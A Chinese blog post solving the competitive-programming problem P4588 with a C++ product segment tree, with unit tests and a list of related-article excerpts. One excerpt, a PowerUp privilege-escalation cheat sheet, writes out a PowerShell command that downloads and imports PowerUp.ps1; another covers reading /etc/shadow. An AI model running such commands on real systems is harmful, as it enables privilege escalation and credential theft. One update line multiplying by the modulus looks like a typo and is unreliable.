【线段树】P4588 [TJOI2018] 数学计算|普及+
本文涉及知识点
C++线段树
[TJOI2018] 数学计算
题目描述
小豆现在有一个数 x x x,初始值为 1 1 1。小豆有 Q Q Q 次操作,操作有两种类型:
1 m
:将 x x x 变为 x × m x \times m x×m,并输出 x m o d M x \bmod M xmodM
2 pos
:将 x x x 变为 x x x 除以第 p o s pos pos 次操作所乘的数(保证第 p o s pos pos 次操作一定为类型 1,对于每一个类型 1 的操作至多会被除一次),并输出 x m o d M x \bmod M xmodM。
输入格式
一共有 t t t 组输入。
对于每一组输入,第一行是两个数字 Q , M Q,M Q,M。
接下来 Q Q Q 行,每一行为操作类型 o p op op,操作编号或所乘的数字 m m m(保证所有的输入都是合法的)。
输出格式
对于每一个操作,输出一行,包含操作执行后的 x m o d M x \bmod M xmodM 的值。
样例 #1
样例输入 #1
1
10 1000000000
1 2
2 1
1 2
1 10
2 3
2 4
1 6
1 7
1 12
2 7
样例输出 #1
2
1
2
20
10
1
6
42
504
84
提示
对于 20 % 20\% 20% 的数据, 1 ≤ Q ≤ 500 1 \le Q \le 500 1≤Q≤500。
对于 100 % 100\% 100% 的数据, 1 ≤ Q ≤ 1 0 5 1 \le Q \le 10^5 1≤Q≤105, t ≤ 5 , M ≤ 1 0 9 t \le 5, M \le 10^9 t≤5,M≤109, 0 < m ≤ 1 0 9 0 < m \leq 10^9 0<m≤109。
线段树
乘积线段树。
保存类型int:节点的乘积求M。默认值1。
设置、缓存类型也是。
M不一定是质数,所以可能不能直接用逆元。
代码
核心代码
#include <iostream>
#include <sstream>
#include <vector>
#include<map>
#include<unordered_map>
#include<set>
#include<unordered_set>
#include<string>
#include<algorithm>
#include<functional>
#include<queue>
#include <stack>
#include<iomanip>
#include<numeric>
#include <math.h>
#include <climits>
#include<assert.h>
#include<cstring>
#include<list>#include <bitset>
using namespace std;template<class T1, class T2>
std::istream& operator >> (std::istream& in, pair<T1, T2>& pr) {in >> pr.first >> pr.second;return in;
}template<class T1, class T2, class T3 >
std::istream& operator >> (std::istream& in, tuple<T1, T2, T3>& t) {in >> get<0>(t) >> get<1>(t) >> get<2>(t) ;return in;
}template<class T1, class T2, class T3, class T4 >
std::istream& operator >> (std::istream& in, tuple<T1, T2, T3, T4>& t) {in >> get<0>(t) >> get<1>(t) >> get<2>(t) >> get<3>(t);return in;
}template<class T = int>
vector<T> Read() {int n;scanf("%d", &n);vector<T> ret(n);for(int i=0;i < n ;i++) {cin >> ret[i];}return ret;
}template<class T = int>
vector<T> Read(int n) {vector<T> ret(n);for (int i = 0; i < n; i++) {cin >> ret[i];}return ret;
}template<int N = 12 * 1'000'000>
class COutBuff
{
public:COutBuff() {m_p = puffer;}template<class T>void write(T x) {int num[28], sp = 0;if (x < 0)*m_p++ = '-', x = -x;if (!x)*m_p++ = 48;while (x)num[++sp] = x % 10, x /= 10;while (sp)*m_p++ = num[sp--] + 48;}inline void write(char ch){*m_p++ = ch;}inline void ToFile() {fwrite(puffer, 1, m_p - puffer, stdout);}
private:char puffer[N], * m_p;
};template<int N = 12 * 1'000'000>
class CInBuff
{
public:inline CInBuff() {fread(buffer, 1, N, stdin);}inline int Read() {int x(0), f(0);while (!isdigit(*S))f |= (*S++ == '-');while (isdigit(*S))x = (x << 1) + (x << 3) + (*S++ ^ 48);return f ? -x : x;}
private:char buffer[N], * S = buffer;
};template<class TSave, class TRecord >
class CRangUpdateLineTree
{
protected:virtual void OnQuery(const TSave& save, const int& iSaveLeft, const int& iSaveRight) = 0;virtual void OnUpdate(TSave& save, const int& iSaveLeft, const int& iSaveRight, const TRecord& update) = 0;virtual void OnUpdateParent(TSave& par, const TSave& left, const TSave& r, const int& iSaveLeft, const int& iSaveRight) = 0;virtual void OnUpdateRecord(TRecord& old, const TRecord& newRecord) = 0;
};template<class TSave, class TRecord >
class CVectorRangeUpdateLineTree : public CRangUpdateLineTree<TSave, TRecord>
{
public:CVectorRangeUpdateLineTree(int iEleSize, TSave tDefault, TRecord tRecordNull) :m_iEleSize(iEleSize), m_save(iEleSize * 4, tDefault), m_record(iEleSize * 4, tRecordNull) {m_recordNull = tRecordNull;}void Update(int iLeftIndex, int iRightIndex, TRecord value){Update(1, 0, m_iEleSize - 1, iLeftIndex, iRightIndex, value);}void Query(int leftIndex, int rightIndex) {Query(1, 0, m_iEleSize - 1, leftIndex, rightIndex);}//void Init() {// Init(1, 0, m_iEleSize - 1);//}TSave QueryAll() {return m_save[1];}void swap(CVectorRangeUpdateLineTree<TSave, TRecord>& other) {m_save.swap(other.m_save);m_record.swap(other.m_record);std::swap(m_recordNull, other.m_recordNull);assert(m_iEleSize == other.m_iEleSize);}
protected://void Init(int iNodeNO, int iSaveLeft, int iSaveRight)//{// if (iSaveLeft == iSaveRight) {// this->OnInit(m_save[iNodeNO], iSaveLeft);// return;// }// const int mid = iSaveLeft + (iSaveRight - iSaveLeft) / 2;// Init(iNodeNO * 2, iSaveLeft, mid);// Init(iNodeNO * 2 + 1, mid + 1, iSaveRight);// this->OnUpdateParent(m_save[iNodeNO], m_save[iNodeNO * 2], m_save[iNodeNO * 2 + 1], iSaveLeft, iSaveRight);//}void Query(int iNodeNO, int iSaveLeft, int iSaveRight, int iQueryLeft, int iQueryRight) {if ((iSaveLeft >= iQueryLeft) && (iSaveRight <= iQueryRight)) {this->OnQuery(m_save[iNodeNO], iSaveLeft, iSaveRight);return;}if (iSaveLeft == iSaveRight) {//没有子节点return;}Fresh(iNodeNO, iSaveLeft, iSaveRight);const int mid = iSaveLeft + (iSaveRight - iSaveLeft) / 2;if (mid >= iQueryLeft) {Query(iNodeNO * 2, iSaveLeft, mid, iQueryLeft, iQueryRight);}if (mid + 1 <= iQueryRight) {Query(iNodeNO * 2 + 1, mid + 1, iSaveRight, iQueryLeft, iQueryRight);}}void Update(int iNode, int iSaveLeft, int iSaveRight, int iOpeLeft, int iOpeRight, TRecord value){if ((iOpeLeft <= iSaveLeft) && (iOpeRight >= iSaveRight)){this->OnUpdate(m_save[iNode], iSaveLeft, iSaveRight, value);this->OnUpdateRecord(m_record[iNode], value);return;}if (iSaveLeft == iSaveRight) {return;//没有子节点}Fresh(iNode, iSaveLeft, iSaveRight);const int iMid = iSaveLeft + (iSaveRight - iSaveLeft) / 2;if (iMid >= iOpeLeft){Update(iNode * 2, iSaveLeft, iMid, iOpeLeft, iOpeRight, value);}if (iMid + 1 <= iOpeRight){Update(iNode * 2 + 1, iMid + 1, iSaveRight, iOpeLeft, iOpeRight, value);}// 如果有后代,至少两个后代this->OnUpdateParent(m_save[iNode], m_save[iNode * 2], m_save[iNode * 2 + 1], iSaveLeft, iSaveRight);}void Fresh(int iNode, int iDataLeft, int iDataRight){if (m_recordNull == m_record[iNode]){return;}const int iMid = iDataLeft + (iDataRight - iDataLeft) / 2;Update(iNode * 2, iDataLeft, iMid, iDataLeft, iMid, m_record[iNode]);Update(iNode * 2 + 1, iMid + 1, iDataRight, iMid + 1, iDataRight, m_record[iNode]);m_record[iNode] = m_recordNull;}vector<TSave> m_save;vector<TRecord> m_record;TRecord m_recordNull;const int m_iEleSize;
};typedef long long TSave;
typedef long long TRecord;
class CMyLineTree : public CVectorRangeUpdateLineTree<TSave, TRecord>
{
public:int m_iMod = 1e9;int m_ans = 1;using CVectorRangeUpdateLineTree::CVectorRangeUpdateLineTree;
protected:virtual void OnQuery(const TSave& save, const int& iSaveLeft, const int& iSaveRight) {m_ans = (m_ans * save) % m_iMod;}virtual void OnUpdate(TSave& save, const int& iSaveLeft, const int& iSaveRight, const TRecord& update) override{//只会单点更新save = update;}virtual void OnUpdateParent(TSave& par, const TSave& left, const TSave& r, const int& iSaveLeft, const int& iSaveRight) override{par = (left * r) % m_iMod;}virtual void OnUpdateRecord(TRecord& old, const TRecord& newRecord) override{old = (old * newRecord) * m_iMod;}
};//P4588 [TJOI2018] 数学计算
class Solution {
public:vector<int> Ans(int M, vector<pair< int, int>>& opX) {CMyLineTree lineTree(opX.size() + 1, 1, 1);lineTree.m_iMod = M;vector<int> ans;for (int i = 0; i < opX.size(); i++) {const int x = opX[i].second;if (1 == opX[i].first) {lineTree.Update(i + 1, i + 1, x);}else {lineTree.Update(x, x, 1);}ans.emplace_back(lineTree.QueryAll());}return ans;}
};int main() {
#ifdef _DEBUGfreopen("a.in", "r", stdin);
#endif // DEBUG int T;cin >> T;for (int i = 0; i < T; i++) {int n, M;cin >> n >> M;auto a = Read<pair<int, int>>(n);auto res = Solution().Ans(M, a);for (const auto& i : res){cout << i << endl;}}#ifdef _DEBUG /*printf("T=%d,", T);*///Out(edge, "edge=");
#endif // DEBUG return 0;
}
单元测试
vector<pair< int, int>> opX;TEST_METHOD(TestMethod11){opX = { {1,3},{2,1},{1,4},{1,2} };auto res = Solution().Ans(5,opX);AssertEx({3,1,4,3}, res);}TEST_METHOD(TestMethod12){opX = { {1,2},{2,1},{1,2},{1,10},{2,3},{2,4},{1,6},{1,7},{1,12},{2,7} } ;auto res = Solution().Ans(1e9, opX);AssertEx({ 2,1,2,20,10,1,6,42,504,84 }, res);}
扩展阅读
我想对大家说的话 |
---|
工作中遇到的问题,可以按类别查阅鄙人的算法文章,请点击《算法与数据汇总》。 |
学习算法:按章节学习《喜缺全书算法册》,大量的题目和测试用例,打包下载。重视操作 |
有效学习:明确的目标 及时的反馈 拉伸区(难度合适) 专注 |
闻缺陷则喜(喜缺)是一个美好的愿望,早发现问题,早修改问题,给老板节约钱。 |
子墨子言之:事无终始,无务多业。也就是我们常说的专业的人做专业的事。 |
如果程序是一条龙,那算法就是他的是睛 |
失败+反思=成功 成功+反思=成功 |
视频课程
先学简单的课程,请移步CSDN学院,听白银讲师(也就是鄙人)的讲解。
https://edu.csdn.net/course/detail/38771
如何你想快速形成战斗了,为老板分忧,请学习C#入职培训、C++入职培训等课程
https://edu.csdn.net/lecturer/6176
测试环境
操作系统:win7 开发环境: VS2019 C++17
或者 操作系统:win10 开发环境: VS2022 C++17
如无特殊说明,本算法用**C++**实现。
相关文章:
【线段树】P4588 [TJOI2018] 数学计算|普及+
本文涉及知识点 C线段树 [TJOI2018] 数学计算 题目描述 小豆现在有一个数 x x x,初始值为 1 1 1。小豆有 Q Q Q 次操作,操作有两种类型: 1 m:将 x x x 变为 x m x \times m xm,并输出 x m o d M x \bmod M…...

日志与策略模式
什么是设计模式 IT⾏业 ,为了让 菜鸡们不太拖⼤佬的后腿, 于是⼤佬们针对⼀些经典的常⻅的场景, 给定了⼀些对应的解决⽅案, 这个就是 设计模式 日志认识 计算机中的⽇志是记录系统和软件运⾏中发⽣事件的⽂件,主要作⽤是监控运⾏状态、记录异常信 息ÿ…...

Jenkins 最佳实践
1. 在Jenkins中避免调度过载 过载Jenkins以同时运行多个作业可能导致资源竞争、构建速度变慢和系统性能问题。分配作业启动时间可以防止瓶颈,并确保更顺畅的执行。如何实现? 在Cron表达式中使用H:引入抖动(jitter)&a…...

天能股份SAP系统整合实战:如何用8个月实现零业务中断的集团化管理升级
目录 天能股份SAP系统整合案例:技术驱动集团化管理的破局之路 一、企业背景:新能源巨头的数字化挑战 二、项目难点:制造业的特殊攻坚战 1. 生产连续性刚性需求 2. 数据整合三重障碍 3. 资源限制下的技术突围 三、解决方案:S…...
搜索引擎的高级语法
文章目录 精确搜索:双引号站内搜索:site通配符搜索:*减号缩小范围:-文档搜索:filetypeURL搜索: inurl标题搜索:intitle正文搜索:intext参考链接 精确搜索:双引号 “ ” …...

uniapp-商城-59-后台 新增商品(属性的选中,进行过滤展示,filter,some,every和map)
前面讲了属性的添加,添加完成后,数据库中已经存在数据了,这时再继续商品的添加时,就可以进行属性的选择了。 在商品添加过程中,属性选择是一个关键步骤。首先,界面需要展示嵌套的属性数据,用户通…...
linux用户切换
在 Linux 系统中,/etc/shadow 文件存储了用户的加密密码和其他安全相关信息,因此默认只有 root 用户 才有权限读取。当你尝试用普通用户身份查看时,会收到 Permission denied 错误。 如何查看 /etc/shadow 文件? 方法 1ÿ…...

B2C 商城转型指南:传统企业如何用 ZKmall模板商城实现电商化
在数字化浪潮席卷全球的当下,传统企业向电商转型已不再是选择题,而是关乎生存与发展的必答题。然而,缺乏技术积累、开发成本高、运营经验不足等问题,成为传统企业转型路上的 “拦路虎”。ZKmall模板商城以其低门槛、高灵活、强适配…...
鸿蒙OSUniApp 实现的二维码扫描与生成组件#三方框架 #Uniapp
UniApp 实现的二维码扫描与生成组件 前言 最近在做一个电商小程序时,遇到了需要扫描和生成二维码的需求。在移动应用开发中,二维码功能已经成为标配,特别是在电商、社交和支付等场景下。UniApp作为一个跨平台开发框架,为我们提供…...

生成树协议 - STP
目录 BPDU STP选举机制 STP端口状态 STP计时器 STP拓扑变更机制 生成树协议(Spanning Tree Protocol),简写为STP。 STP是二层网络中用于消除环路的协议,通过阻塞冗余链路,使可用链路在拓扑上呈现出无环的树结构&…...

计算机指令分类和具体的表示的方式
1.关于计算机的指令系统 下面的这个就是我们的一个简单的计算机里面涉及到的指令: m就是我们的存储器里面的地址,可以理解为memory这个意思,r可以理解为rom这样的单词的首字母,帮助我们去进行这个相关的指令的记忆,不…...

mvc-service引入
什么是业务层 1)Model1(JSP)和Model2(模糊的mvc): MVC:Model(模型),View(视图),Controller(控制器) 视图层:用于数据展示以及用户交互的界…...

基于微信小程序的城市特色旅游推荐应用的设计与实现
💗博主介绍💗:✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示:文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…...

【暗光图像增强】【基于CNN的方法】2020-AAAI-EEMEFN
EEMEFN:Low-Light Image Enhancement via Edge-Enhanced Multi-Exposure Fusion Network EEMEFN:基于边缘增强多重曝光融合网络的低光照图像增强 AAAI 2020 论文链接 0.论文摘要 本研究专注于极低光照条件下的图像增强技术,旨在提升图像亮度…...

【Linux】ssh命令 – 安全的远程连接服务
原创:厦门微思网络 SSH命令的概念 ssh命令的功能是安全地远程连接服务器主机系统,作为OpenSSH套件中的客户端连接工具,ssh命令可以让我们轻松地基于SSH加密协议进行远程主机访问,从而实现对远程服务器的管理工作。 语法 ssh 参…...

AT9850B—单北斗导航定位芯片
AT9850B是一款高性能低功耗双频单北斗卫星导航接收机SOC单芯片。芯片集成射频前端和数字基带、多模式卫星信号处理引擎、电源管理功能,集成度高,外围应用电路简洁。 支持中国北斗B1I/B1C单频定位或B1I/B1C/B2a双频定位,支持北斗二号和三号&a…...
【开源Agent框架】CAMEL:角色扮演+任务分解
一、项目概览:重新定义智能体协作范式 CAMEL(Communicative Agents for “Mind” Exploration of Large Language Model Society)是由camel-ai社区开发的开源多智能体框架,致力于探索智能体的规模法则(Scaling Laws)。该项目通过构建包含百万级智能体的复杂社会系统,研…...

工业4G路由器IR5000公交站台物联网应用解决方案
随着城市化进程的加速,公共交通是智慧城市的重要枢纽。城市公共交通由无数的公交站台作作为节点组合而成,其智能化升级成为提升城市出行效率与服务质量的关键。传统公交站台信息发布滞后、缺乏实时性,难以满足乘客对公交信息快速获取的需求&a…...

idea中Lombok失效的解决方案
Lombok 是一个 Java 库,旨在通过注解简化 Java 代码的编写,减少样板代码,提高开发效率。它通过自动生成常见的代码(如 getter、setter、构造函数等)来减少开发者的手动编码工作。 一般Lombok失效有四步排查方案&#…...
如何借助iPaaS集成平台做好API 版本管理
在当今数字化快速发展的浪潮中,API 作为企业连接内外部系统、实现数据交互与业务协同的关键桥梁,在企业发展进程中扮演着至关重要的角色。它不仅支撑着企业的日常运营,更是企业拓展业务边界、提升竞争力的核心要素之一。然而,API …...

黑马k8s(九)
1.Pod-生命周期概述 2.Pod生命周期-创建和终止 3.Pod生命周期-初始化容器...

【超分辨率专题】一种考量视频编码比特率优化能力的超分辨率基准
这是一个Benchmark,超分辨率视频编码(2024) 专题介绍一、研究背景二、相关工作2.1 SR的发展2.2 SR benchmark的发展 三、Benchmark细节3.1 数据集制作3.2 模型选择3.3 编解码器和压缩标准选择3.4 Benchmark pipeline3.5 质量评估和主观评价研…...

vs2019及以后版本cmd指定编译环境文件的路径
1、找到文件路径 C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build 2、使用方法,启动cmd,依次输入对应指令,即可切换到相应环境...
【kafka】基本命令
创建 Kafka Topic 的命令 以下是创建 Kafka Topic 的几种常用方法: 1. 使用 kafka-topics.sh 基础命令(Kafka 自带工具) bin/kafka-topics.sh --create \--bootstrap-server <broker地址:端口> \--topic <topic名称> \--parti…...
提权脚本Powerup命令备忘单
1. 获取与加载 从 GitHub 下载:(New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")本地加载:Import-Module .\Power…...
人工智能 (AI) 在无线接入网络 (RAN) 中的变革性作用
随着电信行业向更智能、更高效的系统迈进,将 AI 集成到 RAN 中已不再是可有可无,而是至关重要。 随着 6G 时代的到来,人工智能 (AI) 有望降低运营成本,并带来更大的盈利机会。AI-RAN 正处于这一变革的前沿,在 RAN 环境…...

一个完整的项目示例:taro开发微信小程序
前一周完成了一个项目,体测成绩转换的工具,没做记录,。这次计划开发一个地图应用小程序,记录一下。方便给使用的人。 一、申请微信小程序,填写相应的信息,取得开发者ID。这个要给腾讯地图使用的。 二、申…...
什么是SMBus
一、SMBus的定义与背景 基本概念 SMBus(System Management Bus,系统管理总线) 是一种基于IC(Inter-Integrated Circuit)协议的轻量级两线制串行通信总线,由Intel于1995年提出,主要用于低带宽系统…...

龙虎榜——20250516
上证缩量收阴线,小盘股表现相对更好,上涨的个股大于下跌的,日线已到前期压力位附近,注意风险。 深证缩量收假阳线,临近日线周期上涨末端,注意风险。 2025年5月16日龙虎榜行业方向分析 跨境电商ÿ…...

Python----神经网络(《Inverted Residuals and Linear Bottlenecks》论文概括和MobileNetV2网络)
一、论文 MobileNetV2 论文提出了一种新的移动架构,该架构提高了移动模型在多个任务和基准测试中的性能,以及在各种不同模型大小范围内的性能. 该架构基于倒残差结构,其中 shortcut 连接在 thin bottleneck 层之间. 中间的 expansion 层使用轻…...